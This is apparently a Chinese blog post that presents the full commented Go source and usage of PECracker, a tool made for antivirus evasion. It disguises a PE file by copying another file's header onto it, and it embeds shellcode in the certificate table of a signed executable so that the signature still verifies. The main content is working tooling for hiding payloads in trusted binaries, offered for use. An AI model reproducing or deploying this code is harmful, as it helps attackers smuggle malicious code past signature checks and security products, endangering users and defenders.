作者前言
(这只是一个整合的demo,为了更好的免杀性能,后续会酌情开源)
对于PE头的一些变形技术都比较老了,这次的学习与实践主要是某APT样本用了这保持签名有效的技术,并且支持shellcode的隐藏与识别,可以深挖的花样感觉会很多。
利用哈希校验漏洞感染文件同时不影响签名有效性的POC,在21年就已经披露了,公开利用主要是SigFlip 这个项目。我目前造了一下轮子,后续会持续更新进行攻防对抗。(其实更多是个demo,方便诸位自定义)
后续希望把对于PE文件的利用手法都整合到项目中,因此将项目命名为PECracker。
使用方法
目前实现了文件头伪装(暴力不优雅版)和证书区段数据嵌入,后续继续更新
1.\PECracker.exe 2 ( 3 )\ ) ( ) 4(()/(( )\ ( ) ( /( ( ( 5 /(_))\ (((_) )( ( /( ( )\()) ))\ )( 6(_))((_) )\___(()\ )(_)) )\((_)\ /((_|()\ 7| _ \ __((/ __|((_|(_)_ ((_) |(_|_)) ((_) 8| _/ _| | (__| '_/ _` / _|| / // -_)| '_| 9|_| |___| \___|_| \__,_\__||_\_\\___||_| 10 11written by https://github.com/berryalen02/PECracker 12Usage: 13 PECracker.exe [command] 14 15 16Available Commands: 17 crack 针对文件头的crack 18 help Help about any command 19 replace 文件头替换伪装 20 21 22Flags: 23 -h, --help help for PECracker.exe
文件头替换
1PECracker.exe replace extract [PE file] [output] [flags] 2PECracker.exe replace [command]
证书区段数据嵌入
1PECracker.exe crack inject [PeFile] [output] [ShellcodeFile] [flags]
效果:
项目地址:
https://github.com/berryalen02/PECracker
加注释版本(本项目为互联网收集, 我不是代码的作者! 请自行判断可用性,别抬杠,如有侵权请回复谢谢!)
1package main 2 3 4import ( 5 "crypto/rand" // 导入用于生成随机数的包 6 "debug/pe" // 导入用于解析PE文件的包 7 "encoding/binary" // 导入用于处理二进制数据的包 8 "fmt" // 导入用于格式化I/O的包 9 "github.com/spf13/cobra" // 导入cobra库,用于处理命令行参数 10 "io" // 导入I/O操作的包 11 "io/ioutil" // 导入I/O实用工具包 12 "os" // 导入操作系统函数的包 13) 14 15 16// check函数用于检查错误,如果出现错误则输出并终止程序 17func check(err error) { 18 if err != nil { 19 fmt.Println("Error:", err) 20 os.Exit(1) 21 } 22} 23 24 25// ExtractPEHeader函数从指定文件中提取PE文件头 26func ExtractPEHeader(filePath string) ([]byte, error) { 27 // 打开指定的PE文件 28 file, err := os.Open(filePath) 29 if err != nil { 30 return nil, err 31 } 32 defer file.Close() 33 34 35 // 解析PE文件 36 peFile, err := pe.NewFile(file) 37 if err != nil { 38 return nil, err 39 } 40 defer peFile.Close() 41 42 43 // 读取DOS头(大小为0x40字节) 44 dosHeader := make([]byte, 0x40) 45 _, err = file.ReadAt(dosHeader, 0) 46 if err != nil { 47 return nil, err 48 } 49 50 51 // 从DOS头中获取PE头的偏移量 52 peHeaderOffset := int64(binary.LittleEndian.Uint32(dosHeader[0x3C:])) 53 // 计算PE头的大小 54 peHeaderSize := peHeaderOffset + int64(peFile.FileHeader.SizeOfOptionalHeader) + 24 55 // 读取PE头 56 peHeader := make([]byte, peHeaderSize) 57 _, err = file.ReadAt(peHeader, 0) 58 if err != nil { 59 return nil, err 60 } 61 62 63 // 返回PE头数据 64 return peHeader, nil 65} 66 67 68// WritePEHeader函数将提取的PE文件头写入到指定路径的文件 69func WritePEHeader(header []byte, outputPath string) error { 70 // 创建输出文件 71 file, err := os.Create(outputPath) 72 if err != nil { 73 return err 74 } 75 defer file.Close() 76 77 78 // 将PE头数据写入文件 79 _, err = file.Write(header) 80 if err != nil { 81 return err 82 } 83 84 85 return nil 86} 87 88 89// ReplacePEHeader函数用新的PE文件头替换目标文件中的PE文件头 90func ReplacePEHeader(targetFilePath string, newHeader []byte) error { 91 // 打开目标文件并准备写入 92 file, err := os.OpenFile(targetFilePath, os.O_RDWR, 0644) 93 if err != nil { 94 return err 95 } 96 defer file.Close() 97 98 99 // 将新的PE头写入文件开头 100 _, err = file.WriteAt(newHeader, 0) 101 if err != nil { 102 return err 103 } 104 105 106 return nil 107} 108 109 110// RandomizeByteAtOffset函数在指定文件的指定偏移位置随机化一个字节 111func RandomizeByteAtOffset(filePath string, offset int64) error { 112 // 打开目标文件并准备写入 113 file, err := os.OpenFile(filePath, os.O_RDWR, 0644) 114 if err != nil { 115 return err 116 } 117 defer file.Close() 118 119 120 // 生成一个随机字节 121 randomByte := make([]byte, 1) 122 _, err = rand.Read(randomByte) 123 if err != nil { 124 return err 125 } 126 127 128 // 将随机字节写入文件指定的偏移位置 129 _, err = file.WriteAt(randomByte, offset) 130 if err != nil { 131 return err 132 } 133 134 135 return nil 136} 137 138 139// GenerateRandomBytes函数生成指定长度的随机字节序列 140func GenerateRandomBytes(length int) ([]byte, error) { 141 bytes := make([]byte, length) 142 _, err := rand.Read(bytes) 143 if err != nil { 144 return nil, err 145 } 146 return bytes, nil 147} 148 149 150// getCertTableSize函数获取PE文件中证书表的虚拟地址和大小 151func getCertTableSize(peFile *pe.File) (uint32, uint32) { 152 // 获取PE文件中的证书表信息 153 certTable := peFile.OptionalHeader.(*pe.OptionalHeader32).DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_SECURITY] 154 return certTable.VirtualAddress, certTable.Size 155} 156 157 158// main函数是程序的入口,定义了各个命令的逻辑 159func main() { 160 // 打印工具的标题信息 161 fmt.Println(" ( \n )\\ ) ( ) \n(()/(( )\\ ( ) ( /( ( ( \n /(_))\\ (((_) )( ( /( ( )\\()) ))\\ )( \n(_))((_) )\\___(()\\ )(_)) )\\((_)\\ /((_|()\\ \n| _ \\ __((/ __|((_|(_)_ ((_) |(_|_)) ((_) \n| _/ _| | (__| '_/ _` / _|| / // -_)| '_| \n|_| |___| \\___|_| \\__,_\\__||_\\_\\\\___||_| \n ") 162 // 打印工具的作者信息 163 fmt.Println("written by https://github.com/berryalen02/PECracker") 164 165 166 // 创建主命令 167 var rootCmd = &cobra.Command{ 168 Use: "PECracker.exe", 169 // 禁用默认的completion和help命令 170 CompletionOptions: cobra.CompletionOptions{ 171 DisableDefaultCmd: true, 172 }, 173 } 174 175 176 // 创建“replace”子命令 177 var replacerCmd = &cobra.Command{ 178 Use: "replace", 179 Short: "文件头替换伪装", 180 } 181 182 183 // 创建“extract”子命令,用于提取PE文件头并保存到output路径 184 var extractCmd = &cobra.Command{ 185 Use: "extract [PE file] [output]", 186 Short: "提取PE文件头并保存到output路径", 187 Args: cobra.ExactArgs(2), 188 Run: func(cmd *cobra.Command, args []string) { 189 // 提取PE文件头 190 header, err := ExtractPEHeader(args[0]) 191 check(err) 192 193 194 // 将PE文件头写入指定的输出路径 195 err = WritePEHeader(header, args[1]) 196 check(err) 197 198 199 // 输出成功信息 200 fmt.Println("PE header extracted and written to", args[1]) 201 }, 202 } 203 204 205 // 创建“import”子命令,用于将指定的PE文件头导入到目标文件中 206 var importCmd = &cobra.Command{ 207 Use: "import [HeaderFile] [target]", 208 Short: "导入文件头并对target文件做替换", 209 Args: cobra.ExactArgs(2), 210 Run: func(cmd *cobra.Command, args[]string) { 211 // 读取指定的PE文件头 212 header, err := os.ReadFile(args[0]) 213 check(err) 214 215 216 // 替换目标文件中的PE文件头 217 err = ReplacePEHeader(args[1], header) 218 check(err) 219 220 221 // 在文件的偏移0x23位置随机化一个字节 222 err = RandomizeByteAtOffset(args[1], 0x23) 223 check(err) 224 225 226 // 输出成功信息 227 fmt.Println("PE header replaced and randomized in", args[1]) 228 }, 229 } 230 231 232 // 创建“crack”子命令 233 var crackerCmd = &cobra.Command{ 234 Use: "crack", 235 Short: "针对文件头的crack", 236 } 237 238 239 // 创建“inject”子命令,用于将shellcode注入到PE文件中 240 var injectCmd = &cobra.Command{ 241 Use: "inject [PeFile] [output] [ShellcodeFile]", 242 Short: "注入shellcode至PE文件", 243 Args: cobra.ExactArgs(3), 244 Run: func(cmd *cobra.Command, args []string) { 245 // 打开目标PE文件 246 file, err := os.OpenFile(args[0], os.O_RDWR|os.O_CREATE, 0644) 247 check(err) 248 defer file.Close() 249 250 251 // 解析PE文件 252 peFile, err := pe.NewFile(file) 253 check(err) 254 defer peFile.Close() 255 256 257 // 获取PE文件中证书表的偏移和大小 258 certOffset, certSize := getCertTableSize(peFile) 259 260 261 // 读取shellcode文件 262 shellcode, err := ioutil.ReadFile(args[2]) 263 check(err) 264 265 266 // 计算padding大小,确保shellcode对齐到8字节边界 267 paddingSize := 8 - (len(shellcode) % 8) 268 if paddingSize == 8 { 269 paddingSize = 0 270 } 271 272 273 // 创建padding和混淆填充 274 padding := make([]byte, paddingSize) 275 obfusSize := 16 276 obfusPadding := make([]byte, obfusSize) 277 obfusPadding, err = GenerateRandomBytes(obfusSize) 278 279 280 // 准备要嵌入的固定数据 281 embedData := make([]byte, 8) 282 embedData = []byte{0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef} 283 284 285 // 打开输出文件并准备写入 286 outFile, err := os.OpenFile(args[1], os.O_RDWR|os.O_CREATE, 0644) 287 check(err) 288 defer outFile.Close() 289 290 291 // 将混淆填充、固定数据和shellcode写入到证书表的末尾 292 _, err = outFile.Seek(int64(certOffset+certSize), io.SeekStart) 293 check(err) 294 295 296 _, err = outFile.Write(obfusPadding) 297 check(err) 298 _, err = outFile.Write(embedData) 299 check(err) 300 _, err = outFile.Write(shellcode) 301 check(err) 302 _, err = outFile.Write(padding) 303 check(err) 304 305 306 // 更新证书表大小 307 newCertSize := certSize + uint32(len(shellcode)) + uint32(len(padding)) + uint32(obfusSize) + uint32(len(embedData)) 308 309 310 // 从头开始将原始PE文件复制到新文件中 311 _, err = outFile.Seek(0, io.SeekStart) 312 check(err) 313 314 315 file.Seek(0, io.SeekStart) 316 _, err = io.Copy(outFile, file) 317 check(err) 318 319 320 // 更新PE头部中的证书表大小 321 offset := int64(0x19C) 322 buf := make([]byte, 4) 323 binary.LittleEndian.PutUint32(buf, newCertSize) 324 _, err = outFile.Seek(offset, 0) 325 check(err) 326 _, err = outFile.Write(buf) 327 check(err) 328 329 330 // 输出成功信息 331 fmt.Println("PE文件修改成功") 332 }, 333 } 334 335 336 // 将子命令添加到主命令中 337 replacerCmd.AddCommand(extractCmd, importCmd) 338 crackerCmd.AddCommand(injectCmd) 339 rootCmd.AddCommand(replacerCmd, crackerCmd) 340 341 342 // 执行主命令 343 rootCmd.Execute() 344}
程序大致流程:
初始化与设置 :
cobra
库。在 main
函数中,程序设置了主命令和多个子命令,定义了每个子命令的功能。
主命令( PECracker.exe
) :
子命令 replace
:
extract
:提取指定PE文件的文件头并保存到指定的输出路径。import
:将指定的文件头导入到目标PE文件中并进行替换伪装。
这个子命令用于文件头替换伪装,主要包含两个操作:
ExtractPEHeader
函数从指定PE文件中提取文件头。WritePEHeader
函数将提取的文件头保存到指定路径。使用 ReplacePEHeader
函数将该文件头写入到目标文件中,替换其原始文件头。
随机化目标文件中的某个字节位置(偏移量为0x23),以增加伪装效果。
子命令 crack
:
inject
操作,用于将shellcode注入到PE文件中:读取shellcode :从指定的shellcode文件中读取数据。
准备注入数据 :程序计算必要的填充(padding)字节,使得shellcode数据对齐到8字节边界。此外,还生成混淆填充数据和固定的嵌入数据。
注入数据到PE文件 :程序将混淆填充、嵌入数据和shellcode数据写入到PE文件的证书表末尾。
更新证书表大小 :更新PE文件头中的证书表大小,使其包括注入的shellcode数据。
保存修改后的文件 :将修改后的PE文件保存到指定的输出路径。
执行命令 :
执行的过程包括提取PE文件头、替换文件头、随机化字节、注入shellcode等。